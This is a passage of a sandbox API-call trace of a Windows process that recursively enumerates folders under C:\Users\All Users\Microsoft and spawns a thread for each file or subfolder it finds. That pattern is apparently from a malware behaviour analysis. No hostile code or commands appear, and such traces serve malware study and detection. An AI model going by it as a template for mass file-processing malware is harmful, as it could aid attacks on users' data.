ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0068.974] wcscmp (_String1="Views", _String2=".") returned 1 [0068.974] wcscmp (_String1="Views", _String2="..") returned 1 [0068.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x34276e8 [0068.974] wcscpy (in: _Dest=0x34276e8, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0068.974] wcscat (in: _Dest=0x34276e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0068.974] wcscat (in: _Dest=0x34276e8, _Source="Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0070.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34276e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0070.518] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x3428458 | out: lpFindFileData=0x3428458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0070.518] FindClose (in: hFindFile=0x3433b68 | out: hFindFile=0x3433b68) returned 1 [0070.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428458) returned 1 [0070.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fd60) returned 1 [0070.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482158) returned 1 [0070.519] RtlExitUserThread (Status=0x0) Thread: id = 384 os_tid = 0xb98 [0068.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480120 [0068.975] wcscpy (in: _Dest=0x3480120, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0068.975] wcscat (in: _Dest=0x3480120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0068.975] wcscat (in: _Dest=0x3480120, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" [0068.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34286c0 [0068.975] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e28 [0068.975] wcscmp (_String1=".", _String2=".") returned 0 [0068.975] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.976] wcscmp (_String1="..", _String2=".") returned 1 [0068.976] wcscmp (_String1="..", _String2="..") returned 0 [0068.976] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0068.976] wcscmp (_String1="INT", _String2=".") returned 1 [0068.976] wcscmp (_String1="INT", _String2="..") returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427068 [0068.976] wcscpy (in: _Dest=0x3427068, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0068.976] wcscat (in: _Dest=0x3427068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0068.976] wcscat (in: _Dest=0x3427068, _Source="INT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" [0070.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0070.516] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0070.516] wcscmp (_String1="production", _String2=".") returned 1 [0070.516] wcscmp (_String1="production", _String2="..") returned 1 [0070.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e490 [0070.516] wcscpy (in: _Dest=0x347e490, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0070.516] wcscat (in: _Dest=0x347e490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0070.516] wcscat (in: _Dest=0x347e490, _Source="production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0070.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0070.517] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0070.517] FindClose (in: hFindFile=0x3433e28 | out: hFindFile=0x3433e28) returned 1 [0070.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34286c0) returned 1 [0070.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480120) returned 1 [0070.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481d38) returned 1 [0070.517] RtlExitUserThread (Status=0x0) Thread: id = 385 os_tid = 0xfa8 [0068.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x34310f8 [0068.976] wcscpy (in: _Dest=0x34310f8, _Source="C:\\Users\\All Users\\Microsoft\\MapData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData") returned="C:\\Users\\All Users\\Microsoft\\MapData" [0068.976] wcscat (in: _Dest=0x34310f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData\\") returned="C:\\Users\\All Users\\Microsoft\\MapData\\" [0068.976] wcscat (in: _Dest=0x34310f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData\\*") returned="C:\\Users\\All Users\\Microsoft\\MapData\\*" [0068.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428928 [0068.976] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\*", lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0068.977] wcscmp (_String1=".", _String2=".") returned 0 [0068.977] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.977] wcscmp (_String1="..", _String2=".") returned 1 [0068.977] wcscmp (_String1="..", _String2="..") returned 0 [0068.977] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.977] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0068.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428928) returned 1 [0068.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310f8) returned 1 [0068.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0068.977] RtlExitUserThread (Status=0x0) Thread: id = 386 os_tid = 0x910 [0068.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3480b28 [0068.978] wcscpy (in: _Dest=0x3480b28, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0068.978] wcscat (in: _Dest=0x3480b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0068.979] wcscat (in: _Dest=0x3480b28, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\*") returned="C:\\Users\\All Users\\Microsoft\\MF\\*" [0068.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428928 [0068.979] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0068.979] wcscmp (_String1=".", _String2=".") returned 0 [0068.979] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.979] wcscmp (_String1="..", _String2=".") returned 1 [0068.979] wcscmp (_String1="..", _String2="..") returned 0 [0068.979] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0068.979] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0068.979] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0068.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fd00 [0068.979] wcscpy (in: _Dest=0x347fd00, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0068.979] wcscat (in: _Dest=0x347fd00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0068.979] wcscat (in: _Dest=0x347fd00, _Source="Active.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" [0070.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0070.513] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0070.513] wcscmp (_String1="Pending.GRL", _String2=".") returned 1 [0070.513] wcscmp (_String1="Pending.GRL", _String2="..") returned 1 [0070.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fe20 [0070.513] wcscpy (in: _Dest=0x347fe20, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0070.513] wcscat (in: _Dest=0x347fe20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0070.513] wcscat (in: _Dest=0x347fe20, _Source="Pending.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" [0070.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347fe20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0070.514] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0070.514] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0070.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428928) returned 1 [0070.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480b28) returned 1 [0070.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0070.514] RtlExitUserThread (Status=0x0) Thread: id = 387 os_tid = 0xcb8 [0068.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3480180 [0068.980] wcscpy (in: _Dest=0x3480180, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0068.980] wcscat (in: _Dest=0x3480180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0068.980] wcscat (in: _Dest=0x3480180, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" [0068.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428b90 [0068.980] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0068.980] wcscmp (_String1=".", _String2=".") returned 0 [0068.980] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.980] wcscmp (_String1="..", _String2=".") returned 1 [0068.980] wcscmp (_String1="..", _String2="..") returned 0 [0068.980] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0068.980] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0068.980] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0068.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cce70 [0068.980] wcscpy (in: _Dest=0x33cce70, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0068.980] wcscat (in: _Dest=0x33cce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0068.980] wcscat (in: _Dest=0x33cce70, _Source="BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0070.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0070.511] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0070.511] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0070.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428b90) returned 1 [0070.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480180) returned 1 [0070.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0070.511] RtlExitUserThread (Status=0x0) Thread: id = 388 os_tid = 0x2d4 [0068.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x34310f8 [0068.981] wcscpy (in: _Dest=0x34310f8, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0068.981] wcscat (in: _Dest=0x34310f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0068.981] wcscat (in: _Dest=0x34310f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\*" [0068.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428df8 [0068.981] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ee8 [0068.981] wcscmp (_String1=".", _String2=".") returned 0 [0068.981] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.981] wcscmp (_String1="..", _String2=".") returned 1 [0068.981] wcscmp (_String1="..", _String2="..") returned 0 [0068.981] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0068.981] wcscmp (_String1="Connections", _String2=".") returned 1 [0068.981] wcscmp (_String1="Connections", _String2="..") returned 1 [0068.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dd90 [0068.982] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0068.982] wcscat (in: _Dest=0x347dd90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0068.982] wcscat (in: _Dest=0x347dd90, _Source="Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0070.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0070.509] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0070.509] wcscmp (_String1="Downloader", _String2=".") returned 1 [0070.509] wcscmp (_String1="Downloader", _String2="..") returned 1 [0070.509] RtlAllocateHeap 